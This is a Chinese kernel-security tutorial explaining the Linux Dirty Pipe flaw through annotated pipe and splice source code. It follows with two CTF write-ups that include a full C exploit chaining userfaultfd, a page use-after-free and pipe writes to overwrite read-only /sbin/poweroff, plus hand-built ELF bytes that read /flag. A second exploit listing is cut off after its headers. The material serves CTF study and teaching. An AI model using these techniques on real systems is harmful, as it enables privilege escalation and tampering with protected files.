kernel从小白到大神(五)-dirty_pipe
默文 发表于 浙江 技术文章 290浏览 · 2024-11-21 14:58

kernel从小白到大神(五)-dirty_pipe

前言:本章专门对dirty_pipe分析,源于CVE,但不止步于CVE,附件下载:https://pan.quark.cn/s/b862f8393c18

源码分析

pipe_write

管道的相关文件操作

const struct file_operations pipefifo_fops = {
    .open       = fifo_open,
    .llseek     = no_llseek,
    .read_iter  = pipe_read,
    .write_iter = pipe_write,
    .poll       = pipe_poll,
    .unlocked_ioctl = pipe_ioctl,
    .release    = pipe_release,
    .fasync     = pipe_fasync,
    .splice_write   = iter_file_splice_write,
};

write使用的时pipe_write,处理向管道写入数据的操作,buf->flags 设置为 PIPE_BUF_FLAG_CAN_MERGE是可以接着末尾写入数据的

大致流程为:

  1. ​ 当管道非空并且上一个buffer未满,并且PIPE_BUF_FLAG_CAN_MERGE,则写入数据然后退出
  2. ​ 才会对新的buffer写入数据
  3. ​ 循环第二步直到完成写入,如果管道满了会唤醒读者腾出管道空间
/*iocb 异步I/O控制块,from 输入的迭代器指针*/
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
    struct file *filp = iocb->ki_filp;
    struct pipe_inode_info *pipe = filp->private_data;
    unsigned int head;
    ssize_t ret = 0;
    size_t total_len = iov_iter_count(from);//统计要写入的大小
    ssize_t chars;
    bool was_empty = false;
    bool wake_next_writer = false;

    /* Null write succeeds. */
    if (unlikely(total_len == 0))
        return 0;

    __pipe_lock(pipe);
    //没有读者直接退出,默认创建一个读者一个写者
    if (!pipe->readers) {
        send_sig(SIGPIPE, current, 0);
        ret = -EPIPE;
        goto out;
    }

    //...

    head = pipe->head;//获取队列头
    was_empty = pipe_empty(head, pipe->tail);//head== tail
    chars = total_len & (PAGE_SIZE-1);
    //管道非空,并且上一个buf 没有满
    if (chars && !was_empty) {
        unsigned int mask = pipe->ring_size - 1;//环形缓冲区最后一环
        struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];//上一个buf
        int offset = buf->offset + buf->len;
        /*PIPE_BUF_FLAG_CAN_MERGE:是否可以合并 ,并且偏移+写入长度<页大小*/
        if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
            offset + chars <= PAGE_SIZE) {
            ret = pipe_buf_confirm(pipe, buf);//confirm确认缓冲区状态
            if (ret)
                goto out;
            //从迭代器from 中拷贝数据到 buf->page+offset 处
            /*???如果page被修改将任意地址读写*/
            ret = copy_page_from_iter(buf->page, offset, chars, from);
            if (unlikely(ret < chars)) {
                ret = -EFAULT;
                goto out;
            }

            buf->len += ret;//更新缓冲区长度
            if (!iov_iter_count(from))
                goto out;
        }
    }
    //写满last buffer 对应数据后, 接夏利将剩余数据写到后面的buffer 中
    for (;;) {
        //读者检查
        if (!pipe->readers) {
            send_sig(SIGPIPE, current, 0);
            if (!ret)
                ret = -EPIPE;
            break;
        }
        //缓冲区没满,继续执行写入操作
        head = pipe->head;
        if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
            unsigned int mask = pipe->ring_size - 1;
            struct pipe_buffer *buf = &pipe->bufs[head & mask];
            struct page *page = pipe->tmp_page;
            int copied;
            //如果没有分配页面page则申请page来存储
            if (!page) {
                page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
                if (unlikely(!page)) {
                    ret = ret ? : -ENOMEM;
                    break;
                }
                pipe->tmp_page = page;
            }

            /* Allocate a slot in the ring in advance and attach an
             * empty buffer.  If we fault or otherwise fail to use
             * it, either the reader will consume it or it'll still
             * be there for the next write.
             */
            spin_lock_irq(&pipe->rd_wait.lock);//旋转锁
            //当缓冲区满时,继续循环等待空闲缓冲区
            head = pipe->head;
            if (pipe_full(head, pipe->tail, pipe->max_usage)) {
                spin_unlock_irq(&pipe->rd_wait.lock);
                continue;
            }

            pipe->head = head + 1;
            spin_unlock_irq(&pipe->rd_wait.lock);
            /* 设置缓冲区 */
            /* Insert it into the buffer array */
            buf = &pipe->bufs[head & mask];//插入buffer array中
            buf->page = page;
            buf->ops = &anon_pipe_buf_ops;
            buf->offset = 0;
            buf->len = 0;
            if (is_packetized(filp))
                buf->flags = PIPE_BUF_FLAG_PACKET;
            else
                buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            pipe->tmp_page = NULL;
            //复制整页
            copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
            //复制字节小于请求字节数,并且还有数据
            if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
                if (!ret)
                    ret = -EFAULT;
                break;
            }
            ret += copied;
            buf->offset = 0;
            buf->len = copied;

            if (!iov_iter_count(from))
                break;
        }
        //缓冲区没满,继续写入
        if (!pipe_full(head, pipe->tail, pipe->max_usage))
            continue;
        //...
    }
//...
}

splice

常规再内核中读取一个文件然后再输出到另一个文件,需要先读取到用户空间然后再写入到另一个文件,但是这样效率太低。

splice用于两个文件描述符之间的高效移动数据,就其是在管道常规文件之间,主要作用实现:零拷贝数据传输,提高数据处理效率。

ssize_t splice(int fdin, off_t *offin, int fdout, off_t *offout, size_t len, unsigned int flags);
/*
    fdin:输入文件描述符
    offin: 输入偏移量
    fdout:输出文件描述符
    offout:输出偏移量
    len:要传输的字节数
    flags:传输标志( SPLICE_F_MOVE 移动、SPLICE_F_NONBLOCK 非阻塞 )
*/

sys_splice先获取文件结构体,然后调用__do_splice来进行处理

SYSCALL_DEFINE6(splice, int, fd_in, loff_t __user *, off_in,
        int, fd_out, loff_t __user *, off_out,
        size_t, len, unsigned int, flags)
{
    struct fd in, out;
    long error;

    if (unlikely(!len))//检查len是否为0
        return 0;

    if (unlikely(flags & ~SPLICE_F_ALL))//是否包含无效flags
        return -EINVAL;

    error = -EBADF;
    in = fdget(fd_in);//获取输入文件结构体
    if (in.file) {
        out = fdget(fd_out);
        if (out.file) {
            error = __do_splice(in.file, off_in, out.file, off_out,
                        len, flags);
            fdput(out);//释放文件描述符引用
        }
        fdput(in);
    }
    return error;
}

__do_splice()先判断输入两个文件结构体是否是管道,管道禁止使用偏移量,然后调用do_splice进行处理

static long __do_splice(struct file *in, loff_t __user *off_in,
            struct file *out, loff_t __user *off_out,
            size_t len, unsigned int flags)
{
    struct pipe_inode_info *ipipe;
    struct pipe_inode_info *opipe;
    loff_t offset, *__off_in = NULL, *__off_out = NULL;
    long ret;

    ipipe = get_pipe_info(in, true);//如果in是管道,则返回管道信息
    opipe = get_pipe_info(out, true);

    if (ipipe && off_in)//是管道就不能提供偏移量
        return -ESPIPE;
    if (opipe && off_out)
        return -ESPIPE;
    //如果提供了偏移量
    if (off_out) {
        if (copy_from_user(&offset, off_out, sizeof(loff_t)))
            return -EFAULT;
        __off_out = &offset;
    }
    if (off_in) {
        if (copy_from_user(&offset, off_in, sizeof(loff_t)))
            return -EFAULT;
        __off_in = &offset;
    }

    ret = do_splice(in, __off_in, out, __off_out, len, flags);
//...
    return ret;
}

do_splice()的操作类型与菜单的操作,提供三种方式:管道->管道,文件->管道,管道->文件

重点关注文件到管道的处理,先计算缓冲区可用空间,然后调用do_splice_to()

long do_splice(struct file *in, loff_t *off_in, struct file *out,
           loff_t *off_out, size_t len, unsigned int flags)
{
    struct pipe_inode_info *ipipe;
    struct pipe_inode_info *opipe;
    loff_t offset;
    long ret;
    //检查mode是否符合读写
    if (unlikely(!(in->f_mode & FMODE_READ) ||
             !(out->f_mode & FMODE_WRITE)))
        return -EBADF;

    ipipe = get_pipe_info(in, true);//获取管道信息
    opipe = get_pipe_info(out, true);
    //管道->管道
    if (ipipe && opipe) {
        //管道禁止使用偏移量
        if (off_in || off_out)
            return -ESPIPE;

        /* Splicing to self would be fun, but... */
        if (ipipe == opipe)
            return -EINVAL;

        if ((in->f_flags | out->f_flags) & O_NONBLOCK)
            flags |= SPLICE_F_NONBLOCK;
        //管道到管道
        return splice_pipe_to_pipe(ipipe, opipe, len, flags);
    }
    //管道->文件
    if (ipipe) {
        if (off_in)
            return -ESPIPE;
        //获取输出偏移量
        if (off_out) {
            if (!(out->f_mode & FMODE_PWRITE))
                return -EINVAL;
            offset = *off_out;
        } else {
            offset = out->f_pos;
        }
        //文件不能是追加
        if (unlikely(out->f_flags & O_APPEND))
            return -EINVAL;
        //写区域是否符合
        ret = rw_verify_area(WRITE, out, &offset, len);
        if (unlikely(ret < 0))
            return ret;
        //非阻塞模式
        if (in->f_flags & O_NONBLOCK)
            flags |= SPLICE_F_NONBLOCK;

        file_start_write(out);
        ret = do_splice_from(ipipe, out, &offset, len, flags);
        file_end_write(out);

        if (!off_out)
            out->f_pos = offset;
        else
            *off_out = offset;

        return ret;
    }
    //文件->管道
    if (opipe) {
        if (off_out)
            return -ESPIPE;
        if (off_in) {
            if (!(in->f_mode & FMODE_PREAD))
                return -EINVAL;
            offset = *off_in;
        } else {
            offset = in->f_pos;
        }

        if (out->f_flags & O_NONBLOCK)
            flags |= SPLICE_F_NONBLOCK;

        pipe_lock(opipe);//管道锁
        ret = wait_for_space(opipe, flags);//等待管道空间
        if (!ret) {
            unsigned int p_space;
            //计算管道可用空间p_space 更新len
            /* Don't try to read more the pipe has space for. */
            p_space = opipe->max_usage - pipe_occupancy(opipe->head, opipe->tail);
            len = min_t(size_t, len, p_space << PAGE_SHIFT);

            ret = do_splice_to(in, &offset, opipe, len, flags);
        }
        pipe_unlock(opipe);
        if (ret > 0)
            wakeup_pipe_readers(opipe);
        if (!off_in)
            in->f_pos = offset;
        else
            *off_in = offset;

        return ret;
    }

    return -EINVAL;
}

do_splice_to()进行了一些检查然后调用in->f_op->splice_read()

static long do_splice_to(struct file *in, loff_t *ppos,
             struct pipe_inode_info *pipe, size_t len,
             unsigned int flags)
{
    int ret;
    //输入文件是否为读权限
    if (unlikely(!(in->f_mode & FMODE_READ)))
        return -EBADF;
    //验证读区域
    ret = rw_verify_area(READ, in, ppos, len);
    if (unlikely(ret < 0))
        return ret;
    //限制读取最大长度
    if (unlikely(len > MAX_RW_COUNT))
        len = MAX_RW_COUNT;
    //指针函数是否存在
    if (unlikely(!in->f_op->splice_read))
        return warn_unsupported(in, "read");
    return in->f_op->splice_read(in, ppos, pipe, len, flags);
}

file.c文件中指针被赋值为generic_file_splice_read()

generic_file_splice_read(),会调用call_read_iter(),实际调用generic_file_read_iter()

ssize_t generic_file_splice_read(struct file *in, loff_t *ppos,
                 struct pipe_inode_info *pipe, size_t len,
                 unsigned int flags)
{
    struct iov_iter to;
    struct kiocb kiocb;
    unsigned int i_head;
    int ret;

    iov_iter_pipe(&to, READ, pipe, len);//初始化to结构体,缓冲区满时将报错
    i_head = to.head;
    init_sync_kiocb(&kiocb, in);//初始化I/O控制块
    kiocb.ki_pos = *ppos;
    ret = call_read_iter(in, &kiocb, &to);//in->read_iter ,执行文件读取
//...
    return ret;
}

generic_file_read_iter()分为两个模式,直接I/O读取和缓冲区读取,缓冲区读取调用函数generic_file_buffered_read()

ssize_t
generic_file_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
    size_t count = iov_iter_count(iter);//获取迭代器数量
    ssize_t retval = 0;

    if (!count)
        goto out; /* skip atime */
    //直接进行IO读取
    if (iocb->ki_flags & IOCB_DIRECT) {
        struct file *file = iocb->ki_filp;//获取文件
        struct address_space *mapping = file->f_mapping;//获取空间地址
        struct inode *inode = mapping->host;//获取inode
        loff_t size;

        size = i_size_read(inode);//获取大小
        //非阻塞模式
        if (iocb->ki_flags & IOCB_NOWAIT) {
            //检查是否有页面
            if (filemap_range_has_page(mapping, iocb->ki_pos,
                           iocb->ki_pos + count - 1))
                return -EAGAIN;
        } else {
            //等待输入
            retval = filemap_write_and_wait_range(mapping,
                        iocb->ki_pos,
                            iocb->ki_pos + count - 1);
            if (retval < 0)
                goto out;
        }

        file_accessed(file);
        //直接读取
        retval = mapping->a_ops->direct_IO(iocb, iter);
        if (retval >= 0) {
            iocb->ki_pos += retval;
            count -= retval;
        }
        iov_iter_revert(iter, count - iov_iter_count(iter));//更新迭代器
        //...
    }
    //缓冲区读取
    retval = generic_file_buffered_read(iocb, iter, retval);
//...
}

generic_file_buffered_read(),首先会检查一些文件、迭代器的操作,然后循环的page复制

ssize_t generic_file_buffered_read(struct kiocb *iocb,
        struct iov_iter *iter, ssize_t written)
{
    struct file *filp = iocb->ki_filp;
    struct file_ra_state *ra = &filp->f_ra;
    struct address_space *mapping = filp->f_mapping;
    struct inode *inode = mapping->host;
    struct page *pages_onstack[PAGEVEC_SIZE], **pages = NULL;
    unsigned int nr_pages = min_t(unsigned int, 512,
            ((iocb->ki_pos + iter->count + PAGE_SIZE - 1) >> PAGE_SHIFT) -
            (iocb->ki_pos >> PAGE_SHIFT));
    int i, pg_nr, error = 0;
    bool writably_mapped;
    loff_t isize, end_offset;
    //检查文件位置是否大于缓冲区最大字节数
    if (unlikely(iocb->ki_pos >= inode->i_sb->s_maxbytes))
        return 0;
    //检查是否在用迭代器
    if (unlikely(!iov_iter_count(iter)))
        return 0;
    //截断迭代器
    iov_iter_truncate(iter, inode->i_sb->s_maxbytes);
    //如果页大小大于栈的页大小,就申请动态空间
    if (nr_pages > ARRAY_SIZE(pages_onstack))
        pages = kmalloc_array(nr_pages, sizeof(void *), GFP_KERNEL);

    if (!pages) {
        pages = pages_onstack;
        nr_pages = min_t(unsigned int, nr_pages, ARRAY_SIZE(pages_onstack));
    }

    do {
        cond_resched();

        /*
         * If we've already successfully copied some data, then we
         * can no longer safely return -EIOCBQUEUED. Hence mark
         * an async read NOWAIT at that point.
         */
        //flags改为非阻塞模式
        if ((iocb->ki_flags & IOCB_WAITQ) && written)
            iocb->ki_flags |= IOCB_NOWAIT;

        i = 0;
        //循环页面读取
        pg_nr = generic_file_buffered_read_get_pages(iocb, iter,
                                 pages, nr_pages);
        if (pg_nr < 0) {
            error = pg_nr;
            break;
        }

        isize = i_size_read(inode);
        //检查当前位置是否超过文件大小
        if (unlikely(iocb->ki_pos >= isize))
            goto put_pages;

        end_offset = min_t(loff_t, isize, iocb->ki_pos + iter->count);

        while ((iocb->ki_pos >> PAGE_SHIFT) + pg_nr >
               (end_offset + PAGE_SIZE - 1) >> PAGE_SHIFT)
            put_page(pages[--pg_nr]);

        writably_mapped = mapping_writably_mapped(mapping);


        //标记页面已访问
        if (iocb->ki_pos >> PAGE_SHIFT !=
            ra->prev_pos >> PAGE_SHIFT)
            mark_page_accessed(pages[0]);
        for (i = 1; i < pg_nr; i++)
            mark_page_accessed(pages[i]);

        for (i = 0; i < pg_nr; i++) {
            unsigned int offset = iocb->ki_pos & ~PAGE_MASK;
            unsigned int bytes = min_t(loff_t, end_offset - iocb->ki_pos,
                           PAGE_SIZE - offset);
            unsigned int copied;

            if (writably_mapped)
                flush_dcache_page(pages[i]);
            //复制页面到迭代器,关键复制函数
            copied = copy_page_to_iter(pages[i], offset, bytes, iter);
            //更新写入字符数、文件位置
            written += copied;
            iocb->ki_pos += copied;
            ra->prev_pos = iocb->ki_pos;

            if (copied < bytes) {
                error = -EFAULT;
                break;
            }
        }
//...
}

copy_page_to_iter()中主要关注到管道的复制,调用copy_page_to_iter_pipe()

size_t copy_page_to_iter(struct page *page, size_t offset, size_t bytes,
             struct iov_iter *i)
{
    //检查page
    if (unlikely(!page_copy_sane(page, offset, bytes)))
        return 0;
    // 块向量(ITER_BVEC) 内核向量(ITER_KVEC)
    if (i->type & (ITER_BVEC|ITER_KVEC)) {
        void *kaddr = kmap_atomic(page);//映射页面到虚拟内核空间
        size_t wanted = copy_to_iter(kaddr + offset, bytes, i);//复制到迭代器
        kunmap_atomic(kaddr);//释放映射
        return wanted;
    } else if (unlikely(iov_iter_is_discard(i)))//迭代器丢失
        return bytes;
    else if (likely(!iov_iter_is_pipe(i)))
        return copy_page_to_iter_iovec(page, offset, bytes, i);//i/o操作
    else
        return copy_page_to_iter_pipe(page, offset, bytes, i);//迭代器为pipe
}

copy_page_to_iter_pipe(),在一系列初始化后,会直接把文件的page赋值到管道的page上,在pipe写入调用pipe_write()的时候,会根据buf->flags,如果等于PIPE_BUF_FLAG_CAN_MERGE那么可用直接往page中写入内容。

static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
             struct iov_iter *i)
{
    struct pipe_inode_info *pipe = i->pipe;
    struct pipe_buffer *buf;
    unsigned int p_tail = pipe->tail;
    unsigned int p_mask = pipe->ring_size - 1;
    unsigned int i_head = i->head;
    size_t off;
    //请求字符数大于迭代器可用字符数
    if (unlikely(bytes > i->count))
        bytes = i->count;
    //请求字符数为0
    if (unlikely(!bytes))
        return 0;
    //检查迭代器
    if (!sanity(i))
        return 0;

    off = i->iov_offset;
    buf = &pipe->bufs[i_head & p_mask];//取末缓冲区
    if (off) {
        //合并缓存区,当偏移量相同,page相同
        if (offset == off && buf->page == page) {
            /* merge with the last one */
            buf->len += bytes;
            i->iov_offset += bytes;
            goto out;
        }
        i_head++;
        buf = &pipe->bufs[i_head & p_mask];//拿出下一个缓冲区
    }
    if (pipe_full(i_head, p_tail, pipe->max_usage))
        return 0;

    buf->ops = &page_cache_pipe_buf_ops;
    get_page(page);
    buf->page = page;//页直接赋值
    buf->offset = offset;
    buf->len = bytes;
    //buf->flags 未 赋值
    pipe->head = i_head + 1;//更新管道头指针
    i->iov_offset = offset + bytes;//迭代器偏移和头更新
    i->head = i_head;
out:
    i->count -= bytes;
    return bytes;
}

漏洞分析

  • 当将整个管道读写了一轮,此时所有的pipe_bufferPIPE_BUF_FLAG_CAN_MERGE都为true
  • 然后利用splice将文件读取到管道上,这时的pipe_buffer对应的page为文件的page,但是并没有PIPE_BUF_FLAG_CAN_MERGE标识符并没有被清除,从而会让内核误以为该页面可以被写入
  • splice建立完页面映射后,环形缓冲区的head会指向下一个pipe_buffer,当在向管道写入数据的时候,首先会发现上一个pipe_buffer未满然后会把数据拷贝到文件映射的页面。

利用手法

原理:因为在splice()调用文件到管道copy_page_to_iter_pipe()未对flags进行初始化,并未对page进行权限赋值,就导致pipe_write如果flagsPIPE_BUF_FLAG_CAN_MERGE就可以进行对只读文件进行写操作。

2024SCTFkno_puts

ioctl可以绕过然后实现两个功能,一个申请,一个释放,申请之后给了object的堆地址,当是在dirty pipe手法中不需要任何地址

可以用write写入数据,这里启动文件里面启动了userfaultfd的功能

在内核5.4.272中缓冲区的合并判断采用ops来判断,不是PIPE_BUF_FLAG_CAN_MERGE标识符,所以只能采用puaf来造成page的重叠

可以使用userfaultfd造成uaf,这样就能利用缺页的copy去对uafobject进行自定义处理,这里写入单字节,因为在pipe中的第一个字段是page,我们需要构造puaf

struct page的大小为0x40,这个大小刚好被0x1000整除,申请的page位置会为0x00 0x40 0x80 0xc0,所以只需要覆盖最后一个字节就有3/4的概率完成puaf

下面就是怎么利用puaf,来篡改文件了

在打开一个文件的时候,会从filp_cachepcache中取出专门的object,为存储file结构体,当filp_cachep的object被使用完的时候,就会从伙伴系统中申请新的page,来划分新的object,这个时候的page就有可能会与我们之前构造的puaf完成重叠,重叠之后就可以使用pipe_writefile结构体进行篡改

file结构体中,f_mode控制着文件的权限,我们篡改这个标识符为0x480e801f,就可以对只读文件进行写入

使用汇编构造出最短的可执行文件读出flag,把二进制写入/sbin/poweroff文件即可

nasm -f bin -o test test.asm
BITS 64
  org 0x400000

ehdr:           ; Elf64_Ehdr
  db 0x7f, "ELF", 2, 1, 1, 0 ; e_ident
  times 8 db 0
  dw  2         ; e_type
  dw  0x3e      ; e_machine
  dd  1         ; e_version
  dq  _start    ; e_entry
  dq  phdr - $$ ; e_phoff
  dq  0         ; e_shoff
  dd  0         ; e_flags
  dw  ehdrsize  ; e_ehsize
  dw  phdrsize  ; e_phentsize
  dw  1         ; e_phnum
  dw  0         ; e_shentsize
  dw  0         ; e_shnum
  dw  0         ; e_shstrndx
  ehdrsize  equ  $ - ehdr

phdr:           ; Elf64_Phdr
  dd  1         ; p_type
  dd  5         ; p_flags
  dq  0         ; p_offset
  dq  $$        ; p_vaddr
  dq  $$        ; p_paddr
  dq  filesize  ; p_filesz
  dq  filesize  ; p_memsz
  dq  0x1000    ; p_align
  phdrsize  equ  $ - phdr

section .data
    str_flag db '/flag',0
section .text
   global _start
_start:

  mov rdi,str_flag    ;open("/flag",0)
  xor rsi,rsi
  xor rdx,rdx
  mov rax,2
  syscall

  mov rsi,rax ;senfile(out_fd,in_fd,0,0x100)
  xor rdi,rdi
  inc rdi
  xor rdx,rdx
  push 0x100
  pop r10
  push 40
  pop rax
  syscall
filesize  equ  $ - $$

exp

#define _GNU_SOURCE 
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#include <sched.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char


size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
void bind_cpu(int core);
void mypause();
int dev_fd;

sem_t sem[3];
size_t heap_addr;
#define PIPE_COUNT 0x40
#define PIPE_TAG "mowen123"
#define FILE_SPRAY_COUNT 256
typedef struct __attribute__((aligned(16)))
{
   size_t uffd;
   struct uffdio_api uapi;
   struct uffdio_register uregister;
}reg_user,*p_imgae_reg;

void Register_Userfalutfd(void* addr,size_t length,void* (*handler)(void*)){
   YELLOW;printf("Register_Userfalutfd START");CLOSE;
   reg_user reguser={0};
   p_imgae_reg preg=&reguser;
   preg->uffd=syscall(__NR_userfaultfd,__O_CLOEXEC|O_NONBLOCK);
   if(preg->uffd<0){
      errExit("__NR_userfaultfd");
   }
   preg->uapi.api=UFFD_API;
   preg->uapi.features=0;
   if(ioctl(preg->uffd,UFFDIO_API,&preg->uapi)<0)errExit("ioctl ->UFFDIO_API");
   preg->uregister.mode=UFFDIO_REGISTER_MODE_MISSING;
   preg->uregister.range.start=addr;
   preg->uregister.range.len=length;
   if(ioctl(preg->uffd,UFFDIO_REGISTER,&preg->uregister)<0)errExit("ioctl -> UFFDIO_REGISTER");
   pthread_t thread;
   if(pthread_create(&thread,NULL,handler,(void*)preg->uffd)<0)errExit("pthread_create handler");
   YELLOW;printf("Register_Userfalutfd END");CLOSE;
}

void Userfault_Handler(int uffd){
   RED;printf("Userfault_Handler START");CLOSE;
   struct uffd_msg msg={0};
   struct uffdio_copy ufcopy={0};
   size_t* data=(size_t*)mmap(NULL,0x1000,3,0x20|0x2,-1,0);
   if(data<0)errExit("Userfault_Handler mmap");
   *(char*)data=0;
   do
   {
      struct pollfd pf={0};
      pf.fd=uffd;
      pf.events=POLLIN;
      poll(&pf,1,-1);
      read(uffd,&msg,sizeof(msg));
      if(msg.event<=0){
         printf("event NULL");
         continue;
      }
      RED;printf("sem step 0");CLOSE;
      sem_post(&sem[0]);
      sem_wait(&sem[1]);
      RED;printf("sem step 1");CLOSE;
      ufcopy.dst=msg.arg.pagefault.address & ~(sysconf(_SC_PAGE_SIZE)-1);
      ufcopy.src=data;
      ufcopy.len=sysconf(_SC_PAGE_SIZE);
      ufcopy.mode=0;
      ufcopy.copy = 0;
      ioctl(uffd,UFFDIO_COPY,&ufcopy);
      sem_post(&sem[2]);
      RED;printf("sem step 2");CLOSE;
      break;

   } while (1);

   RED;printf("Userfault_Handler END");CLOSE;
}
int FILE_spary[20];
void add(){
   char buf[64]={0};
   buf[32]=1;
   size_t* ptr=(size_t*)(buf+32);
   ptr[0]=1;
   ptr[1]=buf;
   ioctl(dev_fd,0xFFF0,buf);
}
void del(){
   char buf[64]={0};
   buf[32]=1;
   size_t* ptr=(size_t*)(buf+32);
   ptr[0]=1;
   ptr[1]=0;
   ioctl(dev_fd,0xFFF1,buf);
}
int pipe_fd[PIPE_COUNT][2];
void uaf(){

   sem_wait(&sem[0]);
   for (size_t i = 0; i < PIPE_COUNT/2; i++)
   {
      if(pipe(pipe_fd[i])<0)errExit("pipe");
      write(pipe_fd[i][1],PIPE_TAG,8);
      write(pipe_fd[i][1],&i,8);
      write(pipe_fd[i][1],PIPE_TAG,8);
   }

   del();

   for (size_t i = PIPE_COUNT/2; i < PIPE_COUNT; i++)
   {
      if(pipe(pipe_fd[i])<0)errExit("pipe");
      write(pipe_fd[i][1],PIPE_TAG,8);
      write(pipe_fd[i][1],&i,8);
      write(pipe_fd[i][1],PIPE_TAG,8);
   }

   sem_post(&sem[1]);
}


const char* FileAttack="/dev/ksctf\0";
int file_fd[FILE_SPRAY_COUNT];

int main(void){
   save_status();
   BLUE;puts("[*]start");CLOSE;
   dev_fd = open(FileAttack,2);
    if(dev_fd < 0){
        errExit(FileAttack);
    }
   //初始化信号量
   sem_init(&sem[0],0,0);
   sem_init(&sem[1],0,0);
   sem_init(&sem[2],0,0);

   //初始化缺页处理
   size_t length=sysconf(_SC_PAGE_SIZE);
   size_t map_addr=mmap(0,length,
      PROT_EXEC|PROT_READ|PROT_WRITE,
      MAP_PRIVATE|MAP_ANON,
      -1,
      0);
   Register_Userfalutfd(map_addr,length,Userfault_Handler);

   pthread_t pt;
   pthread_create(&pt,0,(void* (*)(void*))uaf,0);
   //构造缺页报错
   add();

   write(dev_fd,map_addr,1);
   sem_wait(&sem[2]);


   size_t pn=-1;
   for (size_t i = 0; i < PIPE_COUNT; i++)
   {
      char buf[0x100]={0};
      size_t t=-1;
      if( read(pipe_fd[i][0],buf,8) <0 || read(pipe_fd[i][0],&t,8)<0  )
         errExit("pipe read");

      if( !strncmp(buf,PIPE_TAG,8) && t!=i ){
         pn=i;
         BLUE; printf("found victim  -> %d",pn); CLOSE;
         char msg_tag[0x30];
         memset(msg_tag,0,sizeof(msg_tag));
         strcat(msg_tag,"mowen_victim");
         write(pipe_fd[i][1],msg_tag,0x2c);
         close(pipe_fd[t][1]);
         close(pipe_fd[t][0]);

         break;
      }

   }
   if(pn==-1)errExit("not found victim page");



   for (size_t i = 0; i < FILE_SPRAY_COUNT; i++)
   {
     file_fd[i]=open("/sbin/poweroff",0);
     if(file_fd[i] <0)errExit("file open failed");
   }

   int flags = 0x480e801f;
   write(pipe_fd[pn][1],&flags,4);

   unsigned char shellcode[] = 
   {0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0xa7,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa7,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xbf,0xa8,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x48,0x31,0xf6,0x48,0x31,0xd2,0xb8,0x02,0x00,0x00,0x00,0x0f,0x05,0x48,0x89,0xc6,0x48,0x31,0xff,0x48,0xff,0xc7,0x48,0x31,0xd2,0x68,0x00,0x01,0x00,0x00,0x41,0x5a,0x6a,0x28,0x58,0x0f,0x05,0x00,0x2f,0x66,0x6c,0x61,0x67,0x00}
   ;

   for (size_t i = 0; i < FILE_SPRAY_COUNT; i++)
   {
      if( write(file_fd[i],shellcode,sizeof(shellcode)) >0){
         GREEN; printf("change successful");CLOSE;
         break;
      }
   }


   BLUE;puts("[*]end");CLOSE;
   return 0;
}


void save_status(){
   __asm__("mov user_cs,cs;"
           "pushf;" //push eflags
           "pop user_rflags;"
           "mov user_sp,rsp;"
           "mov user_ss,ss;"
          );
}



void getshell(void)
{   
    BLUE;printf("[*]Successful");CLOSE;
    system("/bin/sh");
}

void _showAddr(char*name,size_t data){
   GREEN;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
   RED;printf("[X] Error : %s !",msg);CLOSE;
   exit(-1);
}

2024网鼎杯玄武组pwn3

直接白给的uaf

read、write全有,直接可对uaf的object进行操作

符号地址可读,直接读取kallsyms 就可以拿到基地址,使用dirty pipe手法修改/sbin/poweroff

查看4.9.337源码发现融合条件为ops,就需要去伪造ops表了,或者篡改为已知的opscan_mergetrue

调试发现在原先的pipe_buffer带的opscan_mergetrue,泄露出来这个地址然后篡改后面splice传进来的ops就行,len和offset全部改为0

篡改后可以merge然后篡改只读/sbin/poweroff文件

退出拿到flag

exp

#define _GNU_SOURCE 
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
